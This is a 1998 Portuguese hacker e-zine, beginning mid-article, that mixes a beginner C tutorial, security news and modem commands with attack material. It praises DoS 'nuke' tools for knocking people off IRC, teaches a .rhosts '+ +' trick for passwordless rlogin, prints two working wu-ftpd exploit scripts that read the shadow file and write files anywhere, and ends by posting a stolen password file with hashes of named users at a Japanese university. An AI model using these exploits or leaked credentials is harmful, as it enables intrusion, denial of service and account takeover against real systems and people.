unix worth a shit, all they know how to do is set it up, and that is ALL.
Then, they turn over the system to a company or business that USUALLY
has no-one that knows what they hell they are doing with the thing, except
with menus.  So, they leave the system open to all...(inadvertedly..),
because they are not competant.  So, you could usually get on, and create
havoc, and at first they will think it is a bug..  I have seen this
happen ALL to many times, and it is always the same story...
The VAR is out for a fast buck, so they set up the software (all they know
how to do), and install any software packages ordered with it (following
the step by step instructions).  Then they turn it over to the business
who runs a word processor, or database, or something, un aware that a
"shell" or command line exists, and they probably don't even know root does.
So, we will see more and more of these pop up, especially since AT&T is
now bundling a version of Xwindows with their new System V, and Simultask...
which will lead to even more holes.  You'll find systems local to you
that are easy as hell to get into, and you'll see what I mean.  These
VARs are really actually working for us.  If a security problem arises
that the business is aware of, they call the VAR to fix it... Of course,
the Var gets paid by the hour, and leaves something open so you'll get in
again, and they make more moolahhhh.


Voce pode usar esse arquivo para qualquer coisa que voce quiser.  Eu nao posso
parar voce.  Apenas para aprender unix (heh) ou outras coisas.  Mas e o seu 
rabo que vai ser preso se fizer besteira, nao eu.
Sempre considere as penalidades antes de voce tentar algo.  Algumas veze ele
nao vale o esforco, algumas vezes vale.

tente ser compreensivo, mesmo quando o sistema nao ajudar.
Eu usei muitas tecnicas e truques, especificamente para fazer que voce aprenda 
algo por si proprio, e tambem para reter informacoes assim voce tera muitos segredos.
Voce pode passar esse arquivo, DO JEITO QUE ESTA, para qualquer BBS boa de H/P
ou Home Page Boa sobre hackers (eu sugiro que voce visite a minha HP em: 
http://www.geocities.com/SiliconValley/Lakes/3892 ).
Sysops podem acrescentar coisas no arquivo para disser da onde ele foi copiado.
Esse arquivo e Copywrited (haha) pelo Sir Hackalot, e pelo PHAZE, no ano 1990.
Traduzido por LeBeau no ano de 1997.

-Sir Hackalot of PHAZE
1990.

-LeBeau
1997.



Ŀ
 11. Exploit Generator                                                      


      Todos os usurios de windows esperam ter os poderosos nukes encontrados
      em linux para o mesmo.
      Antes os usuarios de windows so tinham em sua disposio os nukes para
      derrubar pessoa do IRC ( internet relay chat ).
      Mas j algum tempo foi criado o exploit generator que contem os famoso
      nukes de linux compilados para windows.
      Antes disso hvia milhares de nukes prometendo travar os usuarios de
      windows 95 , eu testei quase todos e nenhum funcionou.
      At que um dia eu baixei o Exploit generator e fui testar ele. E ele
      funcinou perfeitamente! Consegui nukar pessoas que estavao usando ate
      Firewall! Muito rulez! Ainda tem um Portscan nele , muito util para vo
      ce ver as portas dos hosts antes de atacar.
      Nele voce encontra esses nukes :

      * LAND        ( o melhor )
      * NESTEA      ( 2 melhor )
      * SUFFER3
      * BOINK
      * SPOOFED OOB
      * SMURF

      e mais um port scan. Atualmente este programa nao esta mais sendo dis
      tribuido na page deles (www.aggressor.net)
      Tente ir na yahoo e bote "exploit generator".

ZeFuReNgA r0x!

 Ŀ
 12. PROGRAMAO                                                            






        Bom galera, e isso ai... Vou tentar ensinar a vcs a linguagem
        "C", e claro q vcs nao vao querer aprender tudo lendo um unico
        zine neh? Mas nas proximas edicoes eu vou continuar escrevendo
        e ja vai da pra ficar com uma base legal...
        ... Bom, o negocio e o seguinte... Como sempre, eu vou botar
        um pouco de "historia" aqui no comeco, se nao quiser ler nao
        precisa, pode pular.
        Ah! Outra coisa... Como e a primeria edicao, eu vou assumir
        q vc nao sabe nada, entao nao vai encher o saco, se vc ja
        souber de alguma coisa, pula e le o proximo topico.





  ͻ                       
   Historia da linguagem 
  ͼ

        * Dennis Ritchie foi quem inventou a primeira implementacao da
          linguagem C. A linguagem C veio de uma linguagem + antiga,
          chamada BCPL. Martin Richards desenvolveu BCPL, que influenciou
          Ken Thompson na invencao de uma linguagem chamada B, que
          depois deu no desenvolvimento do C, nos anos 70.

  ͻ
   Conhecendo um pouco + sobre o C 
  ͼ

        * O C e uma linguagem q por si so ja esta muito ligada o linux
          mas ele tambem e muito poderoso em um ambiente MS-DOS.
          Bom, nao e uma boa linguagem p/ principiantes, pois ela
          usa alguns contrucoes menos obvias... Eu gosto muito do C,
          pq ele e uma linguagem q da muita liberdade para o
          programador, e com ele, vc pode fazer praticamente tudo
          o q quiser. E claro q tambem tem o outro lado da moeda,
          se vc escrever um codigo com um erro, o compilador do
          C pode provavelmente nao reclamar de nada, mas depois
          o programa vai travar e vc nao vai saber pq. :)
          Se fosse em Pascal, provavelmente vc receberia uma
          menssagem de erro e tal... Mas afinal de contas,
          o C e uma linguagem para programadores.... Se vc sabe
          usa, se nao sabe...
          O C geralmente e considerado uma linguagem de nivel medio,
          ou seja, ela combina os elementos das linguagens de nivel
          alto e baixo... Com o C vc pode ter muito da funcionalidade
          ate mesmo do Assembly, como por exemplo a manipulacao bit a bit.


  ͻ
   C - Linguagem Estruturada 
  ͼ

        * O C e uma linguagem esturada, ou seja, ele forma blocos
          de codigo. O bom da linguagem estruturada, e q o codigo
          fica muito + limpo. Qualquer um q ja tenha programado
          em BASIC ou ASM conhece o drama... Vc comeca a ler o programa
          e derrepente tem um goto/jmp la pra cima... Ai vc comeca a
          ler tudo de novo... depois volta pra baixo... em suma, e um
          saco. Alem de ser muito + dificil de ser ler, e tambem
          muito + dificil e manter um codigo desse tipo.
          E claro q c vc quiser vc pode fazer uso de um goto em C,
          por exemplo, mas o uso dele deve ser evitado, a nao ser
          q em casos especiais... Muito raramente vc vai precisar
          usar um comando desse tipo.
          Nao precisa nem dizer q as linguagens estruturadas sao
          + recentes.
          Outro exemplo de linguagem estruturada e o Pascal.

  ͻ
   Palavras Chave (KEYWORDS) 
  ͼ

        * Bom, e aqui q a linguagem realmente comeca... Ainda existem
          muitos conceitos a aprender, mas nao adianta nada jogar
          muita coisa de uma vez... A seguir vai uma lista com todas
          as palavras chave do C. Nao se preocupe em entender todos
          agora... Eu vou ensina-las aos poucos. Apenas lembre q elas
          existem. Lembre-se de nunca nomear uma variavel ou funcao
          com o mesmo nome de uma variavel global. Mesmo q o
          compilador aceite, isso pode depois resultar num bug
          bem chato de se descobrir. :)

      
        AUTO        DEFAULT   FLOAT    REGISTER    STRUCT      VOLATILE
        BREAK       DO        FOR      RETURN      SWTICH      WHILE
        CASE        DOUBLE    GOTO     SHORT       TYPEDEF
        CHAR        ELSE      IF       SIGNED      UNION
        CONST       ENUM      INT      SIZEOF      UNSIGNED    
        CONTINUE    EXTERN    LONG     STATIC      VOID


        * Como vc ja deve ter percebido, sao no total 32 palavras
          chave. Nao precisa decorar todas, ate pq, algumas sao
          + usadas do q outras. VOLATILE por exemplo, e muito
          pouco usada.
          Outra coisa a saber, e q o C e case-sensivite... Exatamente
          como o LINUX. Por exemplo, if e uma palavra chave, enquanto
          q IF nao. 

  ͻ
   Compilando programas 
  ͼ  

        * Pra quem ainda nao sabe, quando vc escreve um programa,
          ele nao e "executavel"... Ou seja, o computador nao entende
          aquele programa. Ele ainda nao esta em linguagem de maquina.
          E para criar um arquivo executavel, vc tem q compilar
          o seu .C
          Isso aqui e um topico muito vasto OK? Da pra ficar horas
          aqui analisando os varios compiladores C q existem por ai...
          Aqui vai um exemplo de como compilar um programa no
          LINUX:

     -> gcc -o programa programa.c

          Se vc quiser saber + sobre isso, entra no help do seu
          compilador... heeehehe
          Ah! Se vc nao tem nenhum ainda, pega o DJGPP, ele e bom,
          e o melhor de tudo... E gratis!

  ͻ
   Comecando a programar 
  ͼ  

        * E galera... Agora chega de teoria, e vamos um pouco a
          pratica.
          Aqui vai um programa muito simples pra gente comecar
          a analisar:


  #include <stdio.h>

  int main(void)
  {
    printf("icmp security group copyright 1998!\n");
    return(0);
  }

          Esse programa aqui e super simples... Mas e ideal pra
          gente comecar a entender a estrutura dos programas em C.
          Q ele simplesmente imprimi uma palavra na tela a maioria
          ja deve ter percebido, mas aqui vai uma explicao linha
          a linha.



          #include <stdio.h>

            --> Essa linha inclui a biblioteca stdio.h
                Essa biblioteca e muito importante, e deve ser incluida
                em quase todos os programas q vc fizer.

          int main(void)

            --> Hummmmm... Aqui e onde comeca a funcao main()
                Essa funcao deve existir em qualquer programa, e na
                maioria das vezes ela sera a primeira a ser executada.
                Uma funcao normalmente aparece assim:


                   <tipo de retorno> <nome da funcao>(lista de parametros)

                No caso, o q esta especificado aqui, e q a funcao main
                retorna um tipo inteiro... Na lista de parametros
                podia muito bem ter algo como "int a", mas ai aparece
                uma das nossas palavras chaves... void.
                No caso, o void serve para dizer q funcao main nao
                vai receber nenhum parametro... Lembre-se q como ela
                e a primeira funcao a ser executada, os seus parametros
                vem da linha de comando.

          {

            -> O { (Abre chaves) em C, serve para delimitar qualquer
               bloco de codigo... No caso, os dois { e } estao delimitando
               onde comeca e termina a funcao main()... Pode nao fazer
               muito sentido agora, mas quando o programa tiver + de
               1 funcao, com certeza vc vai entender. :)

          printf("ICMP!\n");

            -> Aqui nos temos uma chamada a uma funcao... A funcao
               printf esta no arquivo stdio.h ... Lembra q ele
               foi incluido no nosso codigo logo no comeco???
               Como uma funcao, tudo q estiver dentro do parentese
               serao os parametros... Nao se preocupe em entender
               como isso funciona, pelo menos nao por enquanto...
               Se vc aprender como usar a funcao ja e um bom comeco. :)
               Outra coisa importante, e q na linguagem C, o
               ; (ponto e virgula), e como se fosse o ponto final no
               portugues... Ele serve para informar ao compilador onde
               terminam as intrucoes...

          return(0);

            -> Outra palavra chave... Essa aqui serve para retorna algo
               para quem chamou a funcao... O 0(zero) entre parenteses,
               e o q a funcao retorna... Vale lembrar q esse zero vai
               ir pros DOS. No caso, o DOS vai interpretar o zero, como
               uma menssagem q diz q ocorreu tudo certo no programa...
               ... Se tivesse tido um erro, poderia ser return(1);
               Aqui cabem duas observacoes importantes, o return() nao
               pode ser omitido na funcao main, pois ela foi declarada
               como q retorna int. Segundo, esse return() ja "sai" da
               funcao... Se houvesse algum codigo depois dele, nao seria
               executado.
               Notou o ; (ponto e virgula)? Nao esqueca dele...
               
          }

            -> + ou - igual ao { (abre chaves), so q aqui delimita o final
               da funcao. No caso, final da funcao main().

  ͻ
   Segundo programa em C 
  ͼ  

        * Aqui vai outro programa... Se vc tiver duvida no q ja foi
          mostrado, procure no primeiro exemplo. Eu so vou explicar
          o q aparecer de novo.


  #include <stdio.h>

  int main(void)
  {
    printf("123");
    printf("45\n");
    printf("\tPrimeira string\n");
    printf("-> Numero: %d\n\n", 10);
    printf("Segunda string.\n");
    return(0);
  }


        Depois q for rodado, o programa vai produzir uma saida + ou -
        assim:

           12345
                   Primeira string.
           -> Numero: 10

           Segunda string.

        Aqui vai a explicacao... Ja q a funcao printf() e uma das +
        usadas, e importante q vc compreenda legal como ela funciona...
        o basico e: printf("frase");
        O parametro e a frase q vc quer imprimir na tela, entre "".
        Dentro dessa frase, vc usar o \ (contra barra), como uma
        especie de identificador... Seria + ou - como se ele disesse
        q o q vem a seguir, e como se fosse um "comando".
        Por exemplo, o \n significa retorno de carro (pula uma linha).
        Se vc notou, nao tem \n no primeiro printf() do programa, e
        por isso q o 123 fica junto com o 45. Depois, o segundo printf()
        termina com \n, ja dando um espaco de uma linha.
        Agora e a vez do \t, ele age como se fosse um TAB... E por isso
        q a string "Primeira string.", ficou + pra direita q as demais.
        Agora vamos para o exemplo do numero... Se vc quiser escrever um
        numero dentro da "frase", vc pode... Mas vamos supor q vc nao
        saiba esse numero na hora q esta escrevendo o programa...
        E ai q entra o sinal de %, o %d significa q no lugar de %d, ali
        vai ser impresso um numero inteiro. Esse numero vem depois
        do " (fecha aspas)... Seria perfeitamente valido, no lugar de
        10, escrevermos 7+4, e seria impresso 11. E claro q vc pode
        misturar isso tudo... Aqui vai um exemplo:

          printf("\n\tNumero: %d - %d\n", 10, 7+3);

        A funcao printf() e muito rica, ainda faz + milhares de coisas,
        mas por hora, ja e o suficiente...


  ͻ
   Definindo variaveis 
  ͼ  

        * As variaveis sao exatamente o q o nome sugere... Elas servem
          para guardar um valor na memoria para agente.
          Existem dois tipos basicos de variaveis, as locais, e as
          globais. As variaveis locais sao definidas dentro de uma funcao,
          e so serao reconhecidas dentro daquela funcao, enquanto isso,
          as variaveis globais vao sempre estar disponiveis em qualquer
          lugar do programa. Agora, tem muito o q se falar sobre variaveis
          locais versus variaveis globais, mas primeiro vamos aprender
          como definilas.

          Para definir uma variavel, vc tem q dizer de q tipo ela vai
          ser... Por exemplo, do tipo int(numero), char(caractere),
          float(ponto flutuante) e etc...

          exemplos:

            int x;
            char c;
            int y = 3;
            char d = 'A';
            float m = 12.4;
            char d[] = "String.";

          O primeiro exemplo, int x;, apenas define uma variavel de nome
          x, do tipo int. O segundo, define uma variavel com o nome c,
          do tipo char.
          Os dois exemplos seguintes, definem variaveis do mesmo jeito,
          so q eles ja inicializam elas com determiandos valores. Isso e
          muito importante, pq antes de vc definir o valor da variavel,
          ela fica com um valor aleatorio.
          Depois vem, float m = 12.4, definindo uma variavel m, to tipo
          float(ponto flutuante).
          A ultima e um pouco + complicada. Ela define uma matriz de
          caracteres, e define "String." como a string nela.
          O [] define uma matriz sem tamanho, ou seja, o compilador
          vai contar qts caracteres tem a minha string, e criar a
          matriz pra mim. Isso pode nao ter ficado muito claro ainda,
          mas quando chegar no assunto de ponteiros e matrizes vai
          ficar facil facil.

  ͻ
   Terceiro programa em C 
  ͼ  

        * Agora eu vou tentar juntar um pouco desse conhecimento, e
          tentar fazer um programa um pouco + interessante.

   #include <stdio.h>

   int numero1 = 5;

  int main(void)
  {
    int numero2;
    char carac;
    char s[] = "XYZ";
    printf("Terceiro programa em C!\n");
    carac = 'A';
    numero2 = 12;
    printf("%s -> %c -> %d-%d\n", s, carac, numero1, numero2);
    numero1 = 2;
    printf("-> %d + %d = %d\n", numero1, numero2, numero1+numero2);
    return(0);
}


        Tudo bem... O programa pode estar um pouco dificil de entender
        mas tem q ser assim mesmo... Eu nao quero botar algo muito
        facil aqui... Vou explicar agora.
        Logo no comeco, existe a linha int numero1 = 5, q vem antes do
        comeco da funcao main(). Como ela esta fora da funcao, ela
        e uma variavel GLOBAL, ou seja, esta acessivel em qualquer
        parte do programa.
        Logo no inicio da funcao main(), estao definidas todas as
        variaveis usadas... E e assim q deve ser feito... Definir
        todas as variaveis logo no comeco da funcao.
        Ate aqui nada de novo, apenas algumas variaveis definidas,
        e outras iniciadas.
        Uma coisa importante, e q quando vc for denifir um unico
        caractere, devera usar '' e para definir uma string, q na
        verdade nada + e q uma sequencia(matriz) de caracteres,
        vc deve usar o "".
        O restante do programa vc pode analisar por si mesmo...
        ... O unico conceito relativamente novo e o %c, q imprime
        um unico caractere.
        A saida do programa deve ser + ou - assim, apos compilado:

          Terceiro programa em C!
          XYZ -> A -> 12-5
          -> 2 + 12 = 14

        Ah! Para imprimir numeros de ponto flutuante(float), use %f


  ͻ
   Tabela p/ o printf() 
  ͼ  

        * Agora q vc ja pegou o espirito do printf()... Vou criar aqui
          uma tabela com os codigos de barra invertida. Espero q
          ela seja util! :)


        \b      -> BackSpace
        \n      -> Nova Linha
        \r      -> Retorno de carro
        \t      -> TAB(Na horizontal)
        \\      -> Inserir \(contra barra)
        \"      -> Inserir "(Aspas)

          E claro q ainda existem outros codigos... Mas esses com
          certeza sao os mais importantes.



barra invertida. Espero q
          ela seja util! :)


        \b      -> BackSpace
        \n      -> Nova Linha
        \r      -> Retorno de carro
        \t      -> TAB(Na horizontal)
        \\      -> Inserir \(contra barra)
        \"      -> Inserir "(Aspas)

          E claro q ainda existem outros codigos... Mas esses com
          certeza sao os mais importantes.

  ͻ
   Comentarios 
  ͼ  

        * Ate q em fim alguma coisa bem facil... O comentario
          simplesmente instrui o compilador, a ignorar determinada
          parte do codigo.
          Eles vem entre os sinais /*  */
          Um exemplo de comentario.

            /* Isto e um comentario. */

          Vc nao pode criar um comentario de de outros...
          Lembre-se disso!

  ͻ
   Programa de soma/conversao 
  ͼ  

        * Aqui vai o ultimo programa desta edicao, um programa
          simples q vai fazer a soma entre dois numeros, e
          apresentar o resultado em decimal, hexadecimal, e octal.
          Pode parecer complexo, mas, na verdade, a funcao printf()
          ja vai fazer todas as conversoes necessarias p/ gente!
          Just relax... :)

  #include <stdio.h>

  int main(void)
  {
    int x, y, z;
    printf("Entre com o primeiro numero: ");
    scanf("%d", &x);
    printf("Entre com o segundo numero: ");
    scanf("%d", &y);
    z = x +y;
    printf("Decimal: %d HexaDecimal: %Xh Octagonal: %o\n", z, z, z);
    /* printf("Bye, bye\n"); */
    return(0); 
  }


          A unica observacao q pode ser feita em relacao a este
          programa, e sobre a nova funcao scanf().
          Ela funciona + ou - como a printf(), so q ela le os valores
          do teclado, e joga dentro das variaveis. (muito util nao???)
          O %d, significa q vai pegar um valor inteiro, e o &x, e a
          variavel q vai receber o valor.
          O sinal de & (E comercial), significa o endereco de...
          Dessa forma, nos estamos passando o endereco de x na memoria,
          para q a funcao scanf() grave o valor lah.
          Quanto as conversoes, como eu ja havia dito antes, ficaram
          todas por conta do printf(), com os sinais de %X e %o


XPaRaNoiD - xparanoid@mailbr.com.br
. .. icmp security member .. .

Ŀ
 13.  NEW EDITORS                                                           


       Fala galera , caso voce tenha uma noao legal sobre segurana
       ou entender bem um SO e seus bugs voce ser bem vindo.
       Tambem queremos programadores. Ajude nos a continuar fazendo
       esta zine. 
       Mande um e-mail para icmp@linuxbr.com.br e diga o que voce sabe
       , qual sistema voce saca e em qual lingua voce programa

        
       Caso voce fez uma materia legal nos mandem!! nos iremos avaliar
       e se for legal iremos botar na e-zine 

Ŀ
 14. RLOGIN                                                                 



      Umas das tecnicas que eu tenho mais usado e aquela famosa tatica
      do rlogin para nao pedir senha quando voce for se conectar via rlogin.
      Vou tentar explicar detalhadamente como voce faz isso.
      Vamos supor que voce tenha uma shell em hacker.com.
      Conecte com uma senha vlida. Quando voce se conectar ele ira direta
      mente ao seu home diretorio , tipo /home/lammer.

      Agora que voce j esta no seu diretorio e tem a permissao para escrever
      nele , crie um arkivo chamado .rhosts
      Vai aparecer new file.
      Digite + +
      Pronto! Agora  so voce ir em seu linux e botar :
      rlogin -l lammer hacker.com que ele nao pedira senha!
      caso voce nao entedeu :

      $pico .rhosts
      + +
      (Aperte Control + X para sair)
      Escolha a opcao de salvar e ta pronto!
      Se divirta agora em uma conta sem senha pelo rlogin :-p


      ZeFuReNgA r0x!

Ŀ
 15. NOTICIAS                                                               


      Aki nesta are voc encontrara as novas noticias no mundo se segurana,
      hacking etc... Fike mais informado! :) :

      ZeFuReNgA

04-08-98 - Back Oriffice e a resposta da Microsoft 
  
  
A Microsoft lancou sua resposta oficial sobre o Back Oriffice, um programa
criado pelo grupo cDc no final de julho, que compromete a seguranca de usuarios
de Windows.

Segundo a empresa de Bill Gates, "o Back Oriffice nao compromete aseguranca de
redes Windows", e "uma vez instalado, possui apenas os direitos e privilegios
que o usuario [que o instalou] possui no computador".

A Microsoft diz que para um ataque do Back Oriffice ter sucesso,uma serie de
eventos especificos precisam ocorrer:

- O usuario deve deliberadamente instalar, ou ser enganado a instalaro
programa
- O hacker precisa conhecer o endereco IP do usuario
- O hacker precisa estar habilitado a acessar diretamente o endereco dousuario.
Exemplo: nao pode existir um firewall entre ambos.

 
Menciona ainda que o programa nao oferece riscos a equipamentos queexecutem o
Windows NT Workstation ou NT Server, afetando apenas usuariosde Windows 95/98.

No entanto, nao oferece nenhuma solucao efetiva para combate-lo, limitando-se
a informar que o usuaio nao deve instala-lo.

--------------------------

19-08-98 - Descoberto applet java hostil capaz de instalar o Back Orifice. 
  
  
Foi descoberto um applet Java hostil capaz de instalar o Back Orifice do grupo
cDc de modo dinamico e sem praticamente conhecimento algum do usuario.

O applet apareceu pela primeira vez em uma empresa de consultoria em Java
sendo apresentado como um "applet de demonstracao".

O applet e' assinado e certificado com uma assinatura digital, e apesar de
assinaturas digitais serem consideradas uma peca importante neste modelo de
seguranca, ainda assim podem ser falsificadas.

 
---------------------------

06-09-1998 - 6000 hackers tentaram... Mas ninguem conseguiu. 
  
  
Pelo menos 6000 hackers de todas as partes do mundo falharam ao tentar invadir
os sistemas de uma empresa hungara que abriu um concurso para testar a
seguranca de seu site.

A Telnet Hungary ofereceu um premio equivalente a $4.500 para quem conseguisse
invadir o seu web site em http://hackme.telnet.hu.

Apos diversas solicitacoes dos hackers, o prazo original de 2 semanas foi
aumentado para 4 meses. Mesmo assim, ninguem foi capaz de atravessar as
barreiras armadas pela empresa para proteger seus sistemas.

Agora os $4.500 serao investidos em mais seguranca, disse a empresa.
 
---------------------------

06-09-1998 - A Mandic e' alvo de ataques 
  
  
Mais uma vez, um dos maiores provedores do pais, a Mandic, foi alvo de ataques. 

Dessa vez, membros do grupo NearZ alteraram a pagina principal do site e,
em seu lugar, colocaram ofensas e piadas de mau-gosto em relacao ao sistema
de seguranca do provedor e a pessoas de outros provedores e empresas.

Segundo alguns dos presentes nas salas de chat da Mandic, o grupo agora esta
de posse das senhas de todos os usuarios do provedor alem de outras
informacoes sigilosas.

Para algumas pessoas, isso apenas demonstra o quanto a seguranca dos
provedores e' falha.

Para outros, a atitude do grupo apenas reforca a ideia, ja disseminada
pela Internet, de que "hackers nao passam de vandalos" e que os membros do
grupo NearZ sao "apenas garotos que nao tem nada de mais util para fazer".
 
----------------------------

14-09-1998 - Site do New York Times e' invadido por hackers 
  
  
Hackers invadiram o site do New York Times (um dos maiores jornais domundo)
este domingo (dia 13) e modificam a pagina principal paraHFG --
"Hacking for girls" (Hackeando por garotas).

Eles alegaram que a invasao ocorreu em razao de um desafio de uma mulherque
estaria escrevendo um livro sobre eles e que supostamente trabalhavana mesma
empresa que faz a seguranca do site do NYT.

Algumas das frases usadas no site hackeado foram "criancas imaturas foram
capazes de passar por um firewall de USS$25.000 e a seguranca armada ladentro".

Os hackers fizeram tambem uma referencia sobre a prisao de Kevin Mitnick,
classificando-a como injusta.
 
----------------------------

          TODAS essas noticias foram retiradas de "The Uground Industries
     Security News."  Que na minha opinio e o melhor lugar de NOTICIAS de segura
     na.

Ŀ
 16. WU FTP BUG'Z                                                           


     Yeapppppp!!! Acho que voces ja devem ter reparados que a 99% dos provedo
res utilizam o Wu Ftp. Por isso decidi botar os bugs que encontrei ate agora
deste ftp.
     Vou botar 2 bugs! Um para vocw poder ler o shadow! e outro para que
voce possa escrever algo em qualquer diretorio

     O primeiro  para voce ler o shadow :

#!/bin/sh
#
# exploit a bug in wu-ftpd to assemble & view the shadow passwd file
#
# Tested under Solaris 2.5
#
# James Abendschan  jwa@nbs.nau.edu  16 Oct 1996
#

USER=`whoami`
/usr/ucb/echo -n "Enter your password for localhost: "
read PASS

WDIR=/tmp/wu-ftpd-sploit.$USER
rm -rf $WDIR
mkdir $WDIR
TMP=$WDIR/strings.tmp

ftp -n localhost << _EOF_
quote user $USER
quote pass $PASS
cd $WDIR
user root woot
quote pasv
_EOF_

if [ ! -f $WDIR/core ]
then
 echo "Sorry, your ftpd didn't dump core."
 exit 1
fi

strings $WDIR/core > $WDIR/tmp

# try to assemble as much of the shadow passwd file as possible
# (easier in perl)

for user in `cat /etc/passwd | awk -F":" '{print $1}'`
do 
 line=`grep \^${user}: $WDIR/tmp`
 echo $line
done 

rm -f $TMP

____________________________________

Essa  para voce poder escrever em qq diretorio

#!/bin/sh
#
# exploit a bug in wu-ftpd to create a file anywhere on the filesystem
#  - files that already exist will be overwritten, but they won't
#    be writable.
#
# tested under Solaris 2.5
#
# James Abendschan  jwa@nbs.nau.edu  16 Oct 1996
#

if [ $# != 2 ]
then
 echo "usage: `basename $0` sourcefile dstfile"
 exit 1
fi

SRC=$1
TARGET=$2

USER=`whoami`
/usr/ucb/echo -n "Enter your password for localhost: "
read PASS

WDIR=/tmp/wu-ftpd-sploit.$USER
rm -rf $WDIR
mkdir $WDIR

ln -s $TARGET $WDIR/core

ftp -n localhost << _EOF_
quote user $USER
quote pass $PASS
cd $WDIR
user root woot
quote pasv
_EOF_

if [ ! -f $WDIR/core ]
then
 echo "Sorry, your ftpd didn't dump core."
 exit 1
fi

ls -l $WDIR/core
cp $SRC $TARGET
if [ $? != 0 ]
then
 echo "copy of $SRC to $TARGET failed."
 exit 1
fi

echo "Done; $SRC should now be $TARGET."

exit 0




----------------------------------------------------------------------------

	

# Here is another script to -
# try to identify who's been core dumping ftpd
#
# requires ftpd to be wrapped (obviously)
#
# jwa 24 Oct 1996
#

LOG=/var/adm/syslog

for pid in `grep "exiting on signal" $LOG | awk -F"[" '{print $2}' | awk -F"]" '
{print $1}'`
do
 grep $pid $LOG | grep ftpd
 echo " "
done

Ŀ
 17.  MODEM                                                                 


     Aprenda a programar um modem. Eu acho que isso ja deve tar na ponta da
lingua de qualquer um... n?


E1 - Eco ativado, permite que voce possa ver o que esta'escrevendo.

M1 - Controla o alto falante. M0=Desligado; M1=Ligado ate'o fim da conexao;
M2=Sempre ativo; M3=Desligado durante a discagem;

L0 - Controla o volume e pode ser modificado para L1, L2 ou L3, de acordo com o
volume de preferencia.

S7=60 - Tempo maximo que o modem vai esperar ate'que o outro PC de um sinal de
resposta. Pode ser modificado.

ats0=0 - Faz com que o modem nao responda a nehuma ligacao.

ats0=1 - faz com que o modem responda a qualquer ligacao.

v1 - Faz com que todas as respostas do modem sejam enviadas para o programa de
comunicacao (Busy, connect, etc)

&A3 - Habilita msgs de correcao de erros e compactacao de dados;

atdt - Digitando ATDT e logo depois o numero do telefone que voce deseja discar,
rapidamente voce ira'ligar para o telefone. Porem deve-se prestar atencao pois para
telefones pulse digita-se ATDP e para telefones tone digita-se ATDT.

&K1 - Deixa ativada a compressao automatica de dados.

&D2 - Sinal DTR da interface srial.

&C1 - Sinal DCD da interface serial.

. .. Texto adaptado para icmp security zine por ZeFuReNgA .. .
Ŀ
 18.  CARTAS                                                                


       E logico que nao temos e-mails porque e a nossa primeira edicao.
Mesmo se voce nao gosto mandem um e-mail so pra dizer que voce leu!
Para saber se ela esta tendo um bom publico saco?
       Sugestoes , materias serao muito bem vindas!
Esperamos sua opiniao!

Ŀ
 19.  AGRADECIMENTOS                                                        


       Um grande abrao para a galera dos canais #Hacker & #Coders.
       Valeu pelo o Struck por fazer uma boa propaganda de nosso
       grupo em sua tima e-zine.

Ŀ
 **.  MEGA BONUS!!!!                                                        


       Passwd pelando do host japones : mail-sv.nifs-k.ac.jp
       
nobody:*:65534:65534::/:
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
bin:*:3:3::/bin:
uucp:*:4:8::/var/spool/uucppublic:
news:*:6:6::/var/spool/news:/bin/csh
ingres:*:7:7::/usr/ingres:/bin/csh
audit:*:9:9::/etc/security/audit:/bin/csh
sync::1:1::/:/bin/sync
sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag

root:X1Mrw3kPyxmJU:0:1:Operator:/:/bin/csh
akifumi:.LCzoJyxmkBB2:0:1:Operator:/:/bin/csh
kaikei:pyAFa01OtEJ3.:0:1:Operator:/home/kaikei:/bin/csh
toshokan:AFl5Gy4iAjVa2:0:1:Operator:/:/bin/csh

kanoya1:ylk8rhhLnq3fU:200:200:keijiban system  user1:/home1/kanoya1:/bin/csh
kanoya2:fmYAQdxlCRzwI:201:200:keijiban system  user2:/home/kanoya2:/bin/csh
gate:FMzMA1d68MMjw:202:200:gateway user:/home/gate:/bin/csh

aida:ryd1uYQfOeUdM:401:400:kanoya taiiku daigaku user:/home/aida:/bin/csh
sonoda:*:402:400:kanoya taiiku daigaku user:/home/sonoda:/bin/csh

mukoyama:*:404:400:kanoya taiiku daigaku user:/home/mukoyama:/bin/csh
kawanisi:dJNk4X6a3DWoI:405:400:kanoya taiiku daigaku user:/home/kawanisi:/bin/csh
maeda:YFLePz/N8tqUI:406:400:kanoya taiiku daigaku user:/home/maeda:/bin/csh
matsuo:O1m5LD74WjYE2:407:400:kanoya taiiku daigaku user:/home/matsuo:/bin/csh
ikee:*:408:400:kanoya taiiku daigaku user:/home/ikee:/bin/csh
sibayama:*:409:400:kanoya taiiku daigaku user:/home/sibayama:/bin/csh
goshi:TeNK8m7QjPs2Y:410:400:kanoya taiiku daigaku user:/home/goshi:/bin/csh

kurata:Qm8WgKf2dr6xo:411:400:kanoya taiiku daigaku user:/home/kurata:/bin/csh
ohira:KVmdEdLOt75tA:412:400:kanoya taiiku daigaku user:/home/ohira:/bin/csh
nishizon:6cSOA9N.g3BPo:413:400:kanoya taiiku daigaku user:/home/nishizon:/bin/csh
takekura:s.l/CKvjq0/OY:414:400:kanoya taiiku daigaku user:/home/takekura:/bin/csh
tamaki:0XOBMXCL/5OWE:415:400:kanoya taiiku daigaku user:/home/tamaki:/bin/csh

hagiwara:*:417:400:kanoya taiiku daigaku user:/home/hagiwara:/bin/csh

yamanaka:FHN0i5AWRIRWE:419:400:kanoya taiiku daigaku user:/home/yamanaka:/bin/csh
matsuda:lu5Ax9Ce2IYPk:420:400:kanoya taiiku daigaku user:/home/matsuda:/bin/csh

shimura:*:421:400:kanoya taiiku daigaku user:/home/shimura:/bin/csh
akamine:Y1xurgSVoXRfg:422:400:kanoya taiiku daigaku user:/home/akamine:/bin/csh
higashi:4g0jUqqEsdq2g:423:400:kanoya taiiku daigaku user:/home/higashi:/bin/csh
eda:Hyq/1A57I1Xf6:424:400:kanoya taiiku daigaku user:/home/eda:/bin/csh
f-hirata:*:425:400:kanoya taiiku daigaku user:/home/f-hirata:/bin/csh
matsumo:*:426:400:kanoya taiiku daigaku user:/home/matsumo:/bin/csh
taguchi:RYm8Nrmp.7e6w:427:400:kanoya taiiku daigaku user:/home/taguchi:/bin/csh
furusawa:/.UuebH45CGZs:428:400:kanoya taiiku daigaku user:/home/furusawa:/bin/csh
t-yanagi:9D13FQ17QfJXY:429:400:kanoya taiiku daigaku user:/home/t-yanagi:/bin/csh
